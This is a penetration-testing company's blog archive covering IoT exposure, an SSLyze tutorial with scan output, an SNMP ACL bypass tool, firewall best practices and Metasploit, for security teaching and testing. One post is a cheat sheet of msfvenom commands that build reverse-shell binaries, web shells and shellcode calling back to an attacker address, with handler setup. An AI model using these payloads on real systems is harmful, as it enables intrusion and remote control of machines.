Archive for the 'Network Security & Pentesting' Category


IoT – the popular attack vector

Author: Martin Voelk
January 23, 2017

Evolving technologies such a IoT (Internet of Things) enable IP based Internetworking with devices previously not part of the network. Fitness machines, Home Protection Systems, Automation systems, Industrial processing systems, medical equipment, Burglary systems, temperature controls etc.

The downside to IoT is that it opens up a whole new attack vector. Not only can poorly protection IoT machines be compromised, they also can serve as a jump host to further penetrate the customer network.

Shodan is the tool of choice these days. A lot of the underground community is actively exchanging scripts with the best IoT dorks. Only because there is a treadmill on the web doesn’t mean that you can leave the default username and password!

https://www.shodan.io

Share

Easy SMTP Mail Relay Test

Author: Martin Voelk
August 23, 2016

This is a neat tool to test for open relays. Whilst most true open relays are not out there these days, internal relay is as dangerous? Why? Imagine Mr Tom Smith is the boss of Mr Jack Miller. Now Jack Miller sends an insulting email to Tom Smith which could terminate his work contract. Likewise a fake Smith to Miller mail could create serious disturbance. We come across those internal relay problems in many of our audits. Disable internal mail relaying!

https://www.wormly.com/test_smtp_server

Share

February 25, 2016

515276483_691482

 

In the last Years, there have been several high-profile vulnerabilities in the SSL and TLS protocols such as Heartbleed or POODLE (Padding Oracle On Downgraded Legacy Encryption) that have sent administrators scrambling. There are a number of tools that can help you identify and evaluate the security of your SSL configuration. One tool, SSLyze, is a SSL scanner that can give you an idea of what flaws exist in your SSL implementation. While it won’t fix them, it will help you identify issues in your configuration.

 

SSLyze is a freely available SSL scanner from iSEC Partners. It works by attempting different, secure connections to the server that you are testing. SSLyze is built in python and runs in the command line. Let’s see how it works.

 

Let’s look how to install it, if you are Kali Linux user it present by default. Just update it frequently.

 

SSL is a good thing to have implemented as security on a website. But only if it is set up correctly. And the newest version, Otherwise you (your site) maybe will be hacked (Heartbleed).

 

It is a Python tool that can analyze the SSL configuration of a server by connecting to it. It is designed to be fast and comprehensive, and should help organizations and testers identify mis-configurations affecting their SSL servers. SSLyze is all Python code but it uses an OpenSSL wrapper written in C called nassl, which was specifically developed for allowing SSLyze to access the low-level OpenSSL APIs needed to perform deep SSL testing.

 

 

Some features are:

 

  • Multi-processed and multi-threaded scanning: it’s very fast.
  • Support for all SSL protocols, from SSL 2.0 to TLS 1.2.
  • NEW: SSLyze can also be used as a library, in order to run scans and process the results directly from Python.
  • Performance testing: session resumption and TLS tickets support.
  • Security testing: weak cipher suites, insecure renegotiation, CRIME, Heartbleed and more.
  • Server certificate validation and revocation checking through OCSP stapling.
  • Support for StartTLS handshakes on SMTP, XMPP, LDAP, POP, IMAP, RDP, PostGres and FTP.
  • Support for client certificates when scanning servers that perform mutual authentication.

 

 
To install SSLyze you can use either pip

 

 

#pip install sslyze

 

or  clone it from Github

 

#git clone https://github.com/nabla-c0d3/sslyze.git
#cd sslyze
#pip install -r requirements.txt –target ./lib

 

The following command is how you run a basic SSLyze scan:

 

#python sslyze.py  –regular  example.com:443

 
Additionally, SSLyze can be packaged as an executable so you can use it on windows machine easily. That command would look like this:

 

 

sslyze.exe –regular somewebsite.com:443

 
This command scans the domain and writes the output back to the console. The option, –regular, is a shortcut for several options that are commonly used. The output will look something like the example screenshot below.

 

This gives you some good information about the security of your SSL configuration, such as whether or not specific settings are enabled (like secure renegotiation or compression), some general information about the certificate, and what SSL protocols and ciphers are accepted by your server. Let’s look at each section individually.

 

#sslyze -h

 

Screenshot from 2016-02-26 00:59:27

Screenshot from 2016-02-26 01:01:11

 

 

The first section of the report requires little explanation, it’s just SSLyze letting you know what plugins it’s using and checking to see if the host you entered is available.

 

 

REGISTERING AVAILABLE PLUGINS

—————————–

PluginCertInfo

PluginChromeSha1Deprecation

PluginHSTS

PluginOpenSSLCipherSuites

PluginSessionResumption

PluginHeartbleed

PluginCompression

PluginSessionRenegotiation

CHECKING HOST(S) AVAILABILITY

—————————–

0.0.0.0:443 => 0.0.0.0:443

In the second section we start to see some of the first vulnerabilities SSLyze is looking for. All of these relate to some issue with SSL configuration.

 

For example, if compression is enabled, then you are probably vulnerable to the CRIME attack. Or if you have an insecure renegotiation vulnerability (that’s when client-initialed renegotiations are accepted and secure renegotiation is disabled) that can lead to denial of service attacks and man-in-the-middle request injections. Generally, if SSLyze says VULNERABLE instead of OK, then you have some reconfiguring to do.

 

* Deflate Compression:

OK – Compression disabled

* Session Renegotiation:

Client-initiated Renegotiations: OK – Rejected

Secure Renegotiation: OK – Supported

* OpenSSL Heartbleed:

OK – Not vulnerable to Heartbleed

 

 

The next section of the report contains a lot of simple info about the SSL certificate. It contains the name of the certificate authority that signed this certificate and the key size signature algorithm.

 

Right now, SHA1 with a 2048 bit key is the standard, however in the next few years, browsers will no longer trust SHA1. Also, this section is where SSLyze will check if OCSP (Online Certificate Status Protocol) Stapling or session resumption are enabled.

 

* Certificate – Content:

SHA1 Fingerprint: 00000000000000000000000000000

Common Name: example.com

Issuer: Some SSL CA – G2

Serial Number: 0000000000000000000000000000000

Not Before: Jan 24 00:00:00 2015 GMT

Not After: Jan 22 23:59:59 2019 GMT

Signature Algorithm: sha1WithRSAEncryption

Key Size: 2048 bit

Exponent: 65537 (0x10001)

X509v3 Subject Alternative Name: {‘DNS’: [‘example.com’]}

* Certificate – Trust:

Hostname Validation: OK – Certificate matches example.com

“Mozilla NSS – 08/2015” CA Store: OK – Certificate is trusted

“Microsoft – 08/2015” CA Store: OK – Certificate is trusted

“Apple – OS X 10.9.4” CA Store: OK – Certificate is trusted

“Java 6 – Update 65” CA Store: OK – Certificate is trusted

Certificate Chain Received: [‘example.com’, ‘Some SSL CA – G2’, ‘Some CA’, ‘Some Secure Certificate Authority’]

* Certificate – OCSP Stapling:

NOT SUPPORTED – Server did not send back an OCSP response.

* Session Resumption:

With Session IDs: OK – Supported (5 successful, 0 failed, 0 errors, 5 total attempts).

With TLS Session Tickets: NOT SUPPORTED – TLS ticket not assigned.

 

 

The last section of the report details all of the enabled protocols and the allowed cipher suites on top of those protocols.

 

In this example, the administrator has disabled SSL version 2 as it is very insecure (yay!). However, SSLv3 is enabled and there are still some weak ciphers enabled on the TLS protocols, namely RC4 and DES. The next step for this admin would be to implement SSLv3, to avoid issues like POODLE (Padding Oracle Over Downgraded Legacy Encryption). After that, it would be wise to disable older, insecure suites and support NIST compliant cipher suites. For example, EDCHE RSA key exchange, with RSA encryption.

 

* SSLV2 Cipher Suites:

Server rejected all cipher suites.

* TLSV1_2 Cipher Suites:

Preferred:

AES128-SHA – 128 bits HTTP 200 OK

Accepted:

AES256-SHA – 256 bits HTTP 200 OK

RC4-SHA – 128 bits HTTP 200 OK

AES128-SHA – 128 bits HTTP 200 OK

DES-CBC3-SHA – 112 bits HTTP 200 OK

* TLSV1_1 Cipher Suites:

Preferred:

AES128-SHA – 128 bits HTTP 200 OK

Accepted:

AES256-SHA – 256 bits HTTP 200 OK

RC4-SHA – 128 bits HTTP 200 OK

RC4-MD5 – 128 bits HTTP 200 OK

AES128-SHA – 128 bits HTTP 200 OK

DES-CBC3-SHA – 112 bits HTTP 200 OK

* TLSV1 Cipher Suites:

Preferred:

AES128-SHA – 128 bits HTTP 200 OK

Accepted:

AES256-SHA – 256 bits HTTP 200 OK

RC4-SHA – 128 bits HTTP 200 OK

RC4-MD5 – 128 bits HTTP 200 OK

AES128-SHA – 128 bits HTTP 200 OK

DES-CBC3-SHA – 112 bits HTTP 200 OK

* SSLV3 Cipher Suites:

Preferred:

AES128-SHA – 128 bits HTTP 200 OK

Accepted:

AES256-SHA – 256 bits HTTP 200 OK

RC4-SHA – 128 bits HTTP 200 OK

RC4-MD5 – 128 bits HTTP 200 OK

AES128-SHA – 128 bits HTTP 200 OK

DES-CBC3-SHA – 112 bits HTTP 200 OK

SCAN COMPLETED IN 3.16 S

 

You can download SSLyze here. Hopefully you now have enough information about this excellent tool to take advantage of it.  and keep your website safe from hacking.

 

Share

Cisco SNMP ACL Bypass Script

Author: Martin Voelk
February 2, 2016

We all know that Cisco is one of the key players in the Routing & Switching market. Often Perimeter Routers are made up of Cisco models of all kind. We also know that SNMP is one of the most popular Network Management protocols.

In many Penetration Tests we come across scenarios where customers try to protect SNMP polling with Access Lists. This is a good way of thinking but then leaving RO communities to “public” and RW communities to “private” is not a good idea. IP spoofing and bypassing ACLs is a very very simple task to perform.

We still see that the majority of clients (especially in the Small and Medium sized arena) still use SNMPv2 instead of the much more secure authenticated and encrypted v3. We also see that Anti Spoofing features like Unicast RPF are rarely configured outside Enterprise networks (and even there they are often not).

A very smart tool has been developed and put on Github which enables ACL bypass. We advice to check your Cisco perimeter routers and test it out with that little neat tool. And please change your community strings to something better 🙂

https://github.com/nccgroup/Cisco-SNMP-Slap

Share

Most useful msfvenom payloads

Author: Martin Voelk
January 2, 2016

A list of the most useful msfvenom payloads from Metasploit.

List payloads

msfvenom -l

Binaries

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

Share

Perimeter Firewall Best Practices

Author: Martin Voelk
April 16, 2015

A lot of businesses have perimeter firewalls these days, which is a good thing. However, they must be configured appropriately to provide effective threat protection. Regardless whether you have a Cisco ASA, Juniper SRX, SonicWall, PaloAlto or any other vendor in there – a few best practices apply to them all. Here a 15 bullet point cheat sheet for Firewall Best Practice:

15 Best Practices for Firewalls

  • Software versions checked and up to date.
  • Configuration kept off-line, backed up, access to is limited.
  • Configuration is well-documented, commented.
  • Users and passwords configured and maintained (AAA) and Password encryption in use
  • Access restrictions imposed on Console, Aux, VTYs. Unneeded network servers and facilities disabled. Necessary network services configured correctly (e.g. DNS) Unused interfaces and VTYs shut down or disabled.
  • Risky interface services disabled.
  • Port and protocol needs of the network identified and checked. Access lists limit traffic to identified ports and protocols.
  • Rules block reserved and inappropriate addresses.
  • Static routes configured where necessary.
  • Routing protocols configured to use integrity mechanisms.
  • Logging enabled and log recipient hosts identified and configured.
  • Firewall’s time of day set accurately, maintained with NTP.
  • Logging set to include consistent time information.
  • Logs checked, reviewed, archived in accordance with local policy.
  • SNMP disabled or enabled with good community strings and ACLs. -> or SNMPv3
Share

April 2, 2015

Stateful firewalls are very common these days. In a nutshell all traffic initiated from the inside is allowed out and the return packets of a TCP session which has been initiated from the inside are allowed back in. Any other outbound to inbound communication needs an explicit rule on the firewall. So far, so good.

However, what happens if an attacker can compromise any open service on a server which is open at the Firewall? A classic here is port 80, as Web servers need to be accessible, right?

Here is a little case study from a recent Pentest. It was a relatively small company with an ASA 5505 perimeter firewall. Pretty much locked down from the outside except for port 80. No DMZ was in place but an in-house intranet portal was exposed on purpose to the outside world. That web server had a serious flaw and we were able to exploit it without much hassle. We have then uploaded the so-called mad leets script to the document root of that web server and then accessed the mad leets php file through a Web browser.

Mad Leets is an evil script as it allows control over the machine by moving all traffic through port 80.

What could have been done proactively to prevent such an attack? Well 2 things spring to mind.

  • Deep Packet inspection aka Web Application Firewall
  • Outbound connection filtering on the ASA

Many clients still struggle to understand that attacks are often tunnelled through legitimate open ports such as 80, 22, 110 etc. Only inspecting within the protocol may detect malicious behaviour. Of course port 80 must be open, but it’s vital to check what’s transmitted over that port.

Secondly, once an internal machine behind a stateful Firewall has been compromised by any means (remote exploit, social engineering USB stick etc.) the attack is usually stopped nowhere as the stateful Firewall will natively trust inside or DMZ hosts going out. We find that more than 90% of all Firewalls we assess don’t do outbound filtering at all. The reverse shell concept isn’t anything new but current architectures allow for those compromises unfortunately.

We strongly advice to inspect traffic with Web Application Firewalls and/or IPS systems and in addition run through potential what/if scenarios and how a compromised inside host could expose services to an attacker.

Share

The Metasploit Framework

Author: Martin Voelk
March 17, 2015

The Metasploit framework is one of the best Penetration Testing suites around. It’s modular structure and coverage of all Penetration Test cycles, makes it the preferred choice of many Penetration Testers and unfortunately hackers alike. It’s easily expandable with custom modules.

For those who are not friends with command lines (every Pentester should be though!) there is even a GUI option available called Ermitage which simplifies the whole process significantly.

Metasploit itself is owned by Rapid 7. But the community version is distributed free of charge within Kali Linux.

Downloads:

Kali Linux: https://www.kali.org
Armitage: http://www.fastandeasyhacking.com
Free Metasploit Training by Offensive Security: http://www.offensive-security.com/metasploit-unleashed/Main_Page

Share

November 30, 2014

Share

November 30, 2014

Share